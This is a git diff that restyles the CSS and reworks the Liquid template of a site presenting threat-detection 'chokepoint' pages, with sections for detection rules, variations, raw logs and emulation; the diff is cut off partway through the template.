border-radius: var(--radius-lg);
|
||||
padding: 1.5rem 2rem;
|
||||
margin-bottom: 1.5rem;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
transition: border-color .2s, box-shadow .2s;
|
||||
}
|
||||
.ac-section-card:hover { border-color: rgba(240,136,62,.15); }
|
||||
|
||||
.ac-section-heading-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .75rem;
|
||||
margin-bottom: 1rem;
|
||||
padding-bottom: .65rem;
|
||||
border-bottom: 1px solid transparent;
|
||||
border-image: linear-gradient(to right, var(--accent), var(--border) 35%, transparent) 1;
|
||||
}
|
||||
|
||||
.ac-section-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
border-radius: 8px;
|
||||
background: linear-gradient(135deg, rgba(240,136,62,0.22) 0%, rgba(240,136,62,0.07) 100%);
|
||||
border: 1px solid rgba(240,136,62,0.2);
|
||||
color: var(--accent);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.ac-section-icon svg { width: 18px; height: 18px; }
|
||||
|
||||
.ac-section-heading {
|
||||
font-size: 1.1rem;
|
||||
font-weight: 700;
|
||||
color: var(--text);
|
||||
margin: 0;
|
||||
flex: 1;
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
flex-wrap: wrap;
|
||||
gap: .5rem;
|
||||
}
|
||||
|
||||
.ac-prose-card .ac-prose {
|
||||
border-top: none;
|
||||
padding-top: 0;
|
||||
margin-top: 0;
|
||||
}
|
||||
|
||||
@media (max-width: 900px) {
|
||||
.ac-detail-hero { padding: 2.5rem 1.5rem 2rem; }
|
||||
.ac-section-card { padding: 1.25rem 1.25rem; }
|
||||
.ac-stage-cards { grid-template-columns: 1fr; }
|
||||
}
|
||||
|
||||
[data-theme="light"] .ac-section-card {
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,.08), inset 0 1px 0 rgba(255,255,255,0.8);
|
||||
}
|
||||
[data-theme="light"] .ac-detail-hero::before {
|
||||
background: radial-gradient(ellipse 80% 55% at 50% -5%, rgba(240,136,62,.09) 0%, transparent 65%);
|
||||
}
|
||||
|
||||
/* ── Stage Cards ──────────────────────────────────────────────────────── */
|
||||
.ac-stage-cards {
|
||||
display: grid;
|
||||
@@ -184,18 +344,26 @@ layout: default
|
||||
|
||||
.ac-stage-card {
|
||||
border: 1px solid var(--border, #30363d);
|
||||
border-radius: 8px;
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
background: var(--surface, #161b22);
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
transition: border-color .2s, box-shadow .2s, transform .2s;
|
||||
}
|
||||
.ac-stage-card:hover {
|
||||
border-color: var(--accent, #f0883e);
|
||||
box-shadow: 0 0 0 1px var(--accent, #f0883e), 0 12px 32px rgba(0,0,0,.25);
|
||||
transform: translateY(-2px);
|
||||
}
|
||||
|
||||
.ac-stage-card-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.6rem;
|
||||
padding: 0.65rem 1rem;
|
||||
padding: 0.75rem 1rem;
|
||||
background: var(--surface-raised, #21262d);
|
||||
border-bottom: 1px solid var(--border, #30363d);
|
||||
border-bottom: 1px solid transparent;
|
||||
border-image: linear-gradient(to right, rgba(240,136,62,.35), var(--border, #30363d) 40%, transparent) 1;
|
||||
}
|
||||
|
||||
.ac-stage-card-num {
|
||||
@@ -231,8 +399,9 @@ layout: default
|
||||
.ac-chokepoint-block {
|
||||
background: rgba(240, 136, 62, 0.08);
|
||||
border-left: 3px solid var(--accent, #f0883e);
|
||||
border-radius: 0 4px 4px 0;
|
||||
padding: 0.5rem 0.65rem;
|
||||
border-radius: var(--radius-lg);
|
||||
padding: 0.6rem 0.75rem;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||
}
|
||||
|
||||
.ac-chokepoint-eyebrow {
|
||||
@@ -307,15 +476,16 @@ layout: default
|
||||
color: var(--accent, #f0883e);
|
||||
background: rgba(240, 136, 62, 0.1);
|
||||
border: 1px solid rgba(240, 136, 62, 0.25);
|
||||
border-radius: 4px;
|
||||
padding: 0.2rem 0.5rem;
|
||||
border-radius: 999px;
|
||||
padding: 0.25rem 0.65rem;
|
||||
text-decoration: none;
|
||||
transition: background 0.15s, border-color 0.15s;
|
||||
transition: background .15s, border-color .15s, box-shadow .15s;
|
||||
}
|
||||
|
||||
.ac-cp-link:hover {
|
||||
background: rgba(240, 136, 62, 0.18);
|
||||
border-color: rgba(240, 136, 62, 0.5);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.2);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
@@ -363,11 +533,14 @@ layout: default
|
||||
flex-wrap: wrap;
|
||||
gap: 0.4rem 0.9rem;
|
||||
margin-bottom: 1rem;
|
||||
padding: 0.55rem 0.75rem;
|
||||
padding: 0.65rem 0.85rem;
|
||||
background: var(--surface-raised, #21262d);
|
||||
border: 1px solid var(--border, #30363d);
|
||||
border-radius: 6px;
|
||||
border-radius: var(--radius-lg);
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
transition: border-color .15s;
|
||||
}
|
||||
.ttp-legend:hover { border-color: rgba(240,136,62,.2); }
|
||||
|
||||
.ttp-legend-item {
|
||||
display: inline-flex;
|
||||
@@ -389,8 +562,8 @@ layout: default
|
||||
position: fixed;
|
||||
background: var(--surface-raised, #21262d);
|
||||
border: 1px solid var(--border, #30363d);
|
||||
border-radius: 6px;
|
||||
padding: 0.45rem 0.65rem;
|
||||
border-radius: var(--radius-lg);
|
||||
padding: 0.55rem 0.75rem;
|
||||
font-size: 0.8rem;
|
||||
color: var(--text-primary, #e6edf3);
|
||||
line-height: 1.55;
|
||||
@@ -398,7 +571,7 @@ layout: default
|
||||
pointer-events: none;
|
||||
z-index: 200;
|
||||
display: none;
|
||||
box-shadow: 0 4px 14px rgba(0,0,0,0.45);
|
||||
box-shadow: 0 8px 24px rgba(0,0,0,0.45);
|
||||
}
|
||||
|
||||
.ttp-tooltip--visible {
|
||||
@@ -435,11 +608,12 @@ layout: default
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.3rem 0.5rem;
|
||||
padding: 0.5rem 0.75rem;
|
||||
padding: 0.6rem 0.85rem;
|
||||
background: var(--surface, #161b22);
|
||||
border: 1px solid var(--border2, #444d56);
|
||||
border-radius: 6px;
|
||||
border-radius: var(--radius-lg);
|
||||
margin-bottom: 1.25rem;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
|
||||
.ttp-filter-btn {
|
||||
@@ -537,16 +711,18 @@ layout: default
|
||||
/* ── TTP Cell ─────────────────────────────────────────────────────────── */
|
||||
.ttp-cell {
|
||||
border: 1px solid var(--border, #30363d);
|
||||
border-radius: 6px;
|
||||
border-radius: var(--radius-lg);
|
||||
background: var(--surface, #161b22);
|
||||
padding: 0.5rem 0.65rem;
|
||||
padding: 0.55rem 0.75rem;
|
||||
min-width: 130px;
|
||||
max-width: 175px;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.3rem;
|
||||
transition: opacity 0.2s, border-color 0.2s, box-shadow 0.2s, background 0.2s;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
transition: opacity 0.2s, border-color 0.2s, box-shadow 0.2s, background 0.2s, transform 0.2s;
|
||||
}
|
||||
.ttp-cell:hover { transform: translateY(-1px); }
|
||||
|
||||
.ttp-cell--universal {
|
||||
border-color: #e07b39;
|
||||
|
||||
+286
-110
@@ -14,8 +14,10 @@ layout: default
|
||||
|
||||
.controls-col {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
padding: .75rem 1rem;
|
||||
border-radius: var(--radius-lg);
|
||||
padding: .85rem 1.1rem;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.04);
|
||||
transition: border-color .2s, box-shadow .2s;
|
||||
}
|
||||
.controls-col-variable { background: var(--bg); }
|
||||
.controls-col-chokepoint {
|
||||
@@ -43,23 +45,30 @@ layout: default
|
||||
.chokepoints-list { display: flex; flex-direction: column; gap: 0; }
|
||||
|
||||
.chokepoint-item {
|
||||
background: var(--bg-card);
|
||||
background: var(--bg);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
transition: border-color .15s;
|
||||
transition: border-color .2s, box-shadow .2s, transform .2s;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
.chokepoint-item:hover { border-color: rgba(240,136,62,.25); }
|
||||
details.chokepoint-item[open] {
|
||||
border-color: var(--accent);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.25), 0 8px 24px rgba(0,0,0,.25);
|
||||
}
|
||||
details.chokepoint-item[open] { border-color: var(--accent); }
|
||||
|
||||
.chokepoint-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .75rem;
|
||||
padding: .75rem 1rem;
|
||||
padding: .85rem 1.1rem;
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
list-style: none;
|
||||
transition: background .15s;
|
||||
}
|
||||
.chokepoint-header:hover { background: rgba(240,136,62,.04); }
|
||||
.chokepoint-header::-webkit-details-marker { display: none; }
|
||||
|
||||
.cp-number {
|
||||
@@ -126,13 +135,15 @@ details.chokepoint-item[open] .cp-chevron { transform: rotate(90deg); }
|
||||
.cp-why-unavoidable {
|
||||
background: rgba(218,54,51,.06);
|
||||
border: 1px solid rgba(218,54,51,.2);
|
||||
border-radius: 4px;
|
||||
padding: .55rem .85rem;
|
||||
border-left: 3px solid var(--critical);
|
||||
border-radius: var(--radius-lg);
|
||||
padding: .65rem .95rem;
|
||||
margin: .6rem 0;
|
||||
font-size: .78rem;
|
||||
line-height: 1.5;
|
||||
color: var(--text-muted);
|
||||
font-style: italic;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||
}
|
||||
.cp-why-label {
|
||||
font-family: var(--font-mono);
|
||||
@@ -149,12 +160,14 @@ details.chokepoint-item[open] .cp-chevron { transform: rotate(90deg); }
|
||||
.cp-invariant {
|
||||
background: rgba(240,136,62,.07);
|
||||
border: 1px solid rgba(240,136,62,.2);
|
||||
border-radius: 4px;
|
||||
padding: .65rem .85rem;
|
||||
border-left: 3px solid var(--accent);
|
||||
border-radius: var(--radius-lg);
|
||||
padding: .75rem .95rem;
|
||||
margin: .75rem 0;
|
||||
font-size: .82rem;
|
||||
line-height: 1.5;
|
||||
color: var(--text);
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.06);
|
||||
}
|
||||
.cp-invariant-label {
|
||||
font-family: var(--font-mono);
|
||||
@@ -186,14 +199,16 @@ details.chokepoint-item[open] .cp-chevron { transform: rotate(90deg); }
|
||||
display: flex;
|
||||
gap: .5rem;
|
||||
align-items: flex-start;
|
||||
background: rgba(227,179,65,.07);
|
||||
border: 1px solid rgba(227,179,65,.2);
|
||||
border-radius: 4px;
|
||||
padding: .55rem .75rem;
|
||||
background: rgba(227,179,65,.08);
|
||||
border: 1px solid rgba(227,179,65,.25);
|
||||
border-left: 3px solid var(--high);
|
||||
border-radius: var(--radius-lg);
|
||||
padding: .65rem .85rem;
|
||||
margin-top: .75rem;
|
||||
font-size: .78rem;
|
||||
color: var(--text-muted);
|
||||
line-height: 1.4;
|
||||
line-height: 1.45;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.08);
|
||||
}
|
||||
.bypass-warning .warn-icon { color: var(--high); flex-shrink: 0; }
|
||||
|
||||
@@ -254,13 +269,14 @@ details.cp-true-positive[open] .cp-tp-chevron { transform: rotate(90deg); }
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: .35rem;
|
||||
background: rgba(240,136,62,.08);
|
||||
border: 1px solid rgba(240,136,62,.25);
|
||||
background: rgba(240,136,62,.1);
|
||||
border: 1px solid rgba(240,136,62,.3);
|
||||
border-radius: 20px;
|
||||
padding: .25rem .75rem;
|
||||
padding: .3rem .85rem;
|
||||
font-family: var(--font-mono);
|
||||
font-size: .68rem;
|
||||
color: var(--accent);
|
||||
box-shadow: 0 0 12px rgba(240,136,62,.12);
|
||||
}
|
||||
.connector-arrow { font-size: .75rem; }
|
||||
|
||||
@@ -285,21 +301,37 @@ details.cp-true-positive[open] .cp-tp-chevron { transform: rotate(90deg); }
|
||||
|
||||
.variant-item {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
transition: border-color .15s;
|
||||
transition: border-color .2s, box-shadow .2s, transform .2s;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
.variant-item:hover {
|
||||
border-color: rgba(240,136,62,.25);
|
||||
transform: translateY(-1px);
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,.18);
|
||||
}
|
||||
details.variant-item[open] {
|
||||
border-color: rgba(240,136,62,.35);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.2), 0 8px 24px rgba(0,0,0,.2);
|
||||
}
|
||||
.variant-item:has(.status-active) { border-left: 3px solid rgba(63,185,80,.5); }
|
||||
.variant-item:has(.status-emerging) { border-left: 3px solid rgba(240,136,62,.5); }
|
||||
.variant-item:has(.status-declining) { border-left: 3px solid rgba(227,179,65,.5); }
|
||||
.variant-item:has(.status-disrupted) { border-left: 3px solid rgba(218,54,51,.5); }
|
||||
|
||||
.variant-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .65rem;
|
||||
padding: .65rem .85rem;
|
||||
padding: .75rem .95rem;
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
list-style: none;
|
||||
background: var(--bg-card);
|
||||
transition: background .15s;
|
||||
}
|
||||
.variant-header:hover { background: rgba(240,136,62,.04); }
|
||||
.variant-header::-webkit-details-marker { display: none; }
|
||||
|
||||
.variant-name { font-weight: 600; font-size: .85rem; flex: 1; }
|
||||
@@ -367,11 +399,12 @@ details.variant-item[open] .variant-chevron { transform: rotate(90deg); }
|
||||
/* Lure preview iframe */
|
||||
.variant-lure-preview {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
margin: .5rem 0 .75rem;
|
||||
background: #fff;
|
||||
position: relative;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.2);
|
||||
}
|
||||
.variant-lure-preview iframe {
|
||||
width: 100%;
|
||||
@@ -502,9 +535,11 @@ details.variant-item[open] .variant-chevron { transform: rotate(90deg); }
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .65rem;
|
||||
margin-bottom: .65rem;
|
||||
padding-bottom: .4rem;
|
||||
border-bottom: 1px solid var(--border);
|
||||
margin-bottom: .75rem;
|
||||
padding: .55rem .75rem;
|
||||
background: rgba(240,136,62,.04);
|
||||
border: 1px solid rgba(240,136,62,.15);
|
||||
border-radius: var(--radius-lg);
|
||||
}
|
||||
.det-stage-num {
|
||||
width: 22px;
|
||||
@@ -531,23 +566,30 @@ details.variant-item[open] .variant-chevron { transform: rotate(90deg); }
|
||||
|
||||
.det-rule-item {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
transition: border-color .15s;
|
||||
transition: border-color .2s, box-shadow .2s, transform .2s;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
.det-rule-item:hover { border-color: rgba(240,136,62,.2); }
|
||||
details.det-rule-item[open] {
|
||||
border-color: var(--accent);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.25), 0 8px 24px rgba(0,0,0,.22);
|
||||
}
|
||||
details.det-rule-item[open] { border-color: var(--accent); }
|
||||
|
||||
.det-rule-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .5rem;
|
||||
padding: .6rem .85rem;
|
||||
padding: .7rem .95rem;
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
list-style: none;
|
||||
background: var(--bg-card);
|
||||
flex-wrap: wrap;
|
||||
transition: background .15s;
|
||||
}
|
||||
.det-rule-header:hover { background: rgba(240,136,62,.04); }
|
||||
.det-rule-header::-webkit-details-marker { display: none; }
|
||||
|
||||
.det-rule-title {
|
||||
@@ -592,14 +634,16 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
|
||||
display: flex;
|
||||
gap: .5rem;
|
||||
align-items: flex-start;
|
||||
background: rgba(227,179,65,.07);
|
||||
border: 1px solid rgba(227,179,65,.2);
|
||||
border-radius: 4px;
|
||||
padding: .5rem .75rem;
|
||||
background: rgba(227,179,65,.08);
|
||||
border: 1px solid rgba(227,179,65,.25);
|
||||
border-left: 3px solid var(--high);
|
||||
border-radius: var(--radius-lg);
|
||||
padding: .65rem .85rem;
|
||||
margin-top: .75rem;
|
||||
font-size: .78rem;
|
||||
color: var(--text-muted);
|
||||
line-height: 1.4;
|
||||
line-height: 1.45;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.08);
|
||||
}
|
||||
.det-correlation-note .warn-icon { color: var(--high); flex-shrink: 0; }
|
||||
|
||||
@@ -654,10 +698,11 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
|
||||
}
|
||||
|
||||
.det-meta-card {
|
||||
background: var(--bg-card);
|
||||
background: var(--bg);
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
padding: .65rem .85rem;
|
||||
border-radius: var(--radius-lg);
|
||||
padding: .75rem .95rem;
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
.det-meta-label {
|
||||
font-family: var(--font-mono);
|
||||
@@ -676,9 +721,10 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
|
||||
/* .sigma-block replaces .sigma-rule-block */
|
||||
.sigma-block {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
margin-top: 1rem;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.18), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
|
||||
/* .sigma-header replaces .sigma-rule-header */
|
||||
@@ -693,41 +739,56 @@ details.det-rule-item[open] .det-rule-chevron { transform: rotate(90deg); }
|
||||
|
||||
/* .sigma-btn replaces .btn-sm */
|
||||
.sigma-btn {
|
||||
background: none;
|
||||
background: var(--bg-input);
|
||||
border: 1px solid var(--border);
|
||||
color: var(--text-muted);
|
||||
font-family: var(--font-mono);
|
||||
font-size: .65rem;
|
||||
padding: .18rem .5rem;
|
||||
border-radius: 3px;
|
||||
padding: .22rem .55rem;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
text-decoration: none;
|
||||
transition: color .15s, border-color .15s;
|
||||
transition: color .15s, border-color .15s, background .15s, box-shadow .15s;
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
}
|
||||
.sigma-btn:hover { color: var(--text); border-color: var(--border); text-decoration: none; }
|
||||
.sigma-btn:hover {
|
||||
color: var(--accent);
|
||||
border-color: rgba(240,136,62,.4);
|
||||
background: rgba(240,136,62,.06);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.15);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
/* ── Raw Log Samples ─────────────────────────────────────────────── */
|
||||
.log-samples { display: flex; flex-direction: column; gap: .4rem; }
|
||||
|
||||
.log-item {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
transition: border-color .2s, box-shadow .2s, transform .2s;
|
||||
box-shadow: 0 2px 8px rgba(0,0,0,0.12), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
.log-item:hover { border-color: rgba(240,136,62,.2); transform: translateY(-1px); }
|
||||
details.log-item[open] {
|
||||
border-color: rgba(240,136,62,.3);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.15), 0 6px 20px rgba(0,0,0,.18);
|
||||
}
|
||||
|
||||
.log-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .6rem;
|
||||
padding: .55rem .85rem;
|
||||
padding: .65rem .95rem;
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
list-style: none;
|
||||
background: var(--bg-card);
|
||||
flex-wrap: wrap;
|
||||
transition: background .15s;
|
||||
}
|
||||
.log-header:hover { background: rgba(240,136,62,.04); }
|
||||
.log-header::-webkit-details-marker { display: none; }
|
||||
|
||||
.log-eid {
|
||||
@@ -774,20 +835,28 @@ details.log-item[open] .log-chevron { transform: rotate(90deg); }
|
||||
/* ── Emulation ───────────────────────────────────────────────────── */
|
||||
.emulation-wrapper {
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius);
|
||||
border-radius: var(--radius-lg);
|
||||
overflow: hidden;
|
||||
box-shadow: 0 4px 16px rgba(0,0,0,0.15), inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
transition: border-color .2s, box-shadow .2s;
|
||||
}
|
||||
details.emulation-wrapper[open] {
|
||||
border-color: rgba(240,136,62,.3);
|
||||
box-shadow: 0 0 0 1px rgba(240,136,62,.15), 0 8px 24px rgba(0,0,0,.2);
|
||||
}
|
||||
|
||||
.emulation-header {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: .65rem;
|
||||
padding: .65rem .85rem;
|
||||
padding: .75rem .95rem;
|
||||
background: var(--bg-card);
|
||||
cursor: pointer;
|
||||
user-select: none;
|
||||
list-style: none;
|
||||
transition: background .15s;
|
||||
}
|
||||
.emulation-header:hover { background: rgba(240,136,62,.04); }
|
||||
.emulation-header::-webkit-details-marker { display: none; }
|
||||
|
||||
.emulation-attck {
|
||||
@@ -840,6 +909,18 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.chokepoint-content .logic-block,
|
||||
.chokepoint-content pre.logic-block {
|
||||
background: #010409;
|
||||
border: 1px solid var(--border);
|
||||
border-radius: var(--radius-lg);
|
||||
box-shadow: inset 0 1px 0 rgba(255,255,255,0.03);
|
||||
}
|
||||
.chokepoint-content .sigma-code,
|
||||
.chokepoint-content pre.sigma-code {
|
||||
background: #010409 !important;
|
||||
}
|
||||
|
||||
.osint-desc { font-size: .78rem; color: var(--text-muted); line-height: 1.45; }
|
||||
</style>
|
||||
|
||||
@@ -851,8 +932,46 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
</div>
|
||||
{% else %}
|
||||
|
||||
<div class="chokepoint-layout max-w-[1100px] mx-auto px-6 py-10 pb-20">
|
||||
<nav class="chokepoint-sidebar" id="chokepoint-nav">
|
||||
<div class="cp-page-wrap">
|
||||
|
||||
<header class="cp-hero" id="overview">
|
||||
<div class="cp-hero-inner max-w-[1100px] mx-auto px-6">
|
||||
<div class="cp-hero-top">
|
||||
<a href="{{ '/' | relative_url }}" class="cp-back-pill">← All Chokepoints</a>
|
||||
<span class="badge priority-{{ cp.DetectionPriority | downcase }}">{{ cp.DetectionPriority }}</span>
|
||||
</div>
|
||||
|
||||
<h1 class="cp-hero-title">{{ cp.Name }}</h1>
|
||||
|
||||
{% if cp.TheConstant %}
|
||||
<p class="cp-hero-constant">{{ cp.TheConstant }}</p>
|
||||
{% endif %}
|
||||
|
||||
<div class="cp-hero-badges">
|
||||
{% for tactic in cp.Tactics %}
|
||||
<span class="badge tactic-badge">{{ tactic }}</span>
|
||||
{% endfor %}
|
||||
{% for mid in cp.MitreIds %}
|
||||
<a class="badge mitre-badge"
|
||||
href="https://attack.mitre.org/techniques/{{ mid | replace: '.', '/' }}/"
|
||||
target="_blank" rel="noopener">{{ mid }}</a>
|
||||
{% endfor %}
|
||||
<span class="badge diff-badge">Detection difficulty: {{ cp.DetectionDifficulty }}</span>
|
||||
<span class="badge prev-badge">Prevalence: {{ cp.ThreatPrevalence }}</span>
|
||||
</div>
|
||||
|
||||
<p class="cp-hero-desc">{{ cp.Description }}</p>
|
||||
|
||||
<p class="cp-hero-byline">
|
||||
By {{ cp.Author }} · Updated {{ cp.LastUpdated }}
|
||||
· <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/{{ cp._source_path }}"
|
||||
target="_blank" rel="noopener">View source YAML</a>
|
||||
</p>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="chokepoint-layout max-w-[1100px] mx-auto px-6 pt-8 pb-20">
|
||||
<nav class="chokepoint-sidebar cp-sidebar-nav" id="chokepoint-nav">
|
||||
<a href="#overview" class="sidebar-link active">Overview</a>
|
||||
{% if cp.Chokepoints %}
|
||||
<a href="#attack-chokepoints" class="sidebar-link">Chokepoints</a>
|
||||
@@ -861,6 +980,9 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
<a href="#variations" class="sidebar-link">Variations</a>
|
||||
{% endif %}
|
||||
<a href="#detection-strategy" class="sidebar-link">Detection</a>
|
||||
{% if cp.PreventionSummary or cp.PreventionOpportunities %}
|
||||
<a href="#prevention" class="sidebar-link">Prevention</a>
|
||||
{% endif %}
|
||||
{% if cp.RawLogs %}
|
||||
<a href="#raw-logs" class="sidebar-link">Logs</a>
|
||||
{% endif %}
|
||||
@@ -876,47 +998,19 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
</nav>
|
||||
<article class="chokepoint-content">
|
||||
|
||||
<!-- ── 1. Page Header ─────────────────────────────────────────── -->
|
||||
<header class="detail-header mb-10" id="overview">
|
||||
<div class="flex items-center gap-3 mb-4">
|
||||
<a href="{{ '/' | relative_url }}" class="back-link text-sm">← All Chokepoints</a>
|
||||
<span class="badge priority-{{ cp.DetectionPriority | downcase }}">{{ cp.DetectionPriority }}</span>
|
||||
</div>
|
||||
|
||||
<h1 class="detail-title text-[clamp(1.5rem,4vw,2.25rem)] font-extrabold leading-tight mb-3">
|
||||
{{ cp.Name }}
|
||||
</h1>
|
||||
|
||||
<div class="flex flex-wrap gap-2 mb-4">
|
||||
{% for tactic in cp.Tactics %}
|
||||
<span class="badge tactic-badge">{{ tactic }}</span>
|
||||
{% endfor %}
|
||||
{% for mid in cp.MitreIds %}
|
||||
<a class="badge mitre-badge"
|
||||
href="https://attack.mitre.org/techniques/{{ mid | replace: '.', '/' }}/"
|
||||
target="_blank" rel="noopener">{{ mid }}</a>
|
||||
{% endfor %}
|
||||
<span class="badge diff-badge">Detection difficulty: {{ cp.DetectionDifficulty }}</span>
|
||||
<span class="badge prev-badge">Prevalence: {{ cp.ThreatPrevalence }}</span>
|
||||
</div>
|
||||
|
||||
<p class="detail-description text-[1.05rem] leading-relaxed max-w-[720px] mb-3">{{ cp.Description }}</p>
|
||||
|
||||
<p class="detail-byline">
|
||||
By {{ cp.Author }} · Updated {{ cp.LastUpdated }}
|
||||
· <a href="https://github.com/{{ site.github_username }}/{{ site.github_repo }}/blob/main/{{ cp._source_path }}"
|
||||
target="_blank" rel="noopener">View source YAML</a>
|
||||
</p>
|
||||
</header>
|
||||
|
||||
<!-- ── 2. Attack Chokepoints ──────────────────────────────────── -->
|
||||
<section class="mb-10" id="attack-chokepoints">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-4">
|
||||
Attack Chokepoints
|
||||
{% if cp.Chokepoints %}
|
||||
<span class="section-sub">{{ cp.Chokepoints | size }} invariant stage{% if cp.Chokepoints.size != 1 %}s{% endif %}</span>
|
||||
{% endif %}
|
||||
</h2>
|
||||
<section class="cp-section-card" id="attack-chokepoints">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z"/></svg>
|
||||
</div>
|
||||
<h2 class="cp-section-heading">
|
||||
Attack Chokepoints
|
||||
{% if cp.Chokepoints %}
|
||||
<span class="section-sub">{{ cp.Chokepoints | size }} invariant stage{% if cp.Chokepoints.size != 1 %}s{% endif %}</span>
|
||||
{% endif %}
|
||||
</h2>
|
||||
</div>
|
||||
|
||||
{% if cp.Chokepoints %}
|
||||
|
||||
@@ -1059,11 +1153,16 @@ details.emulation-wrapper[open] .emulation-lang::after { content: ''; }
|
||||
|
||||
<!-- ── 3. Variations ─────────────────────────────────────────── -->
|
||||
{% if cp.Variations %}
|
||||
<section class="mb-10" id="variations">
|
||||
<h2 class="section-heading text-sm font-bold uppercase tracking-[.08em] pb-2 mb-2">
|
||||
Variations
|
||||
<span class="section-sub">{{ cp.Variations | size }} variant{% if cp.Variations.size != 1 %}s{% endif %} tracked</span>
|
||||
</h2>
|
||||
<section class="cp-section-card" id="variations">
|
||||
<div class="cp-section-heading-row">
|
||||
<div class="cp-section-icon" aria-hidden="true">
|
||||
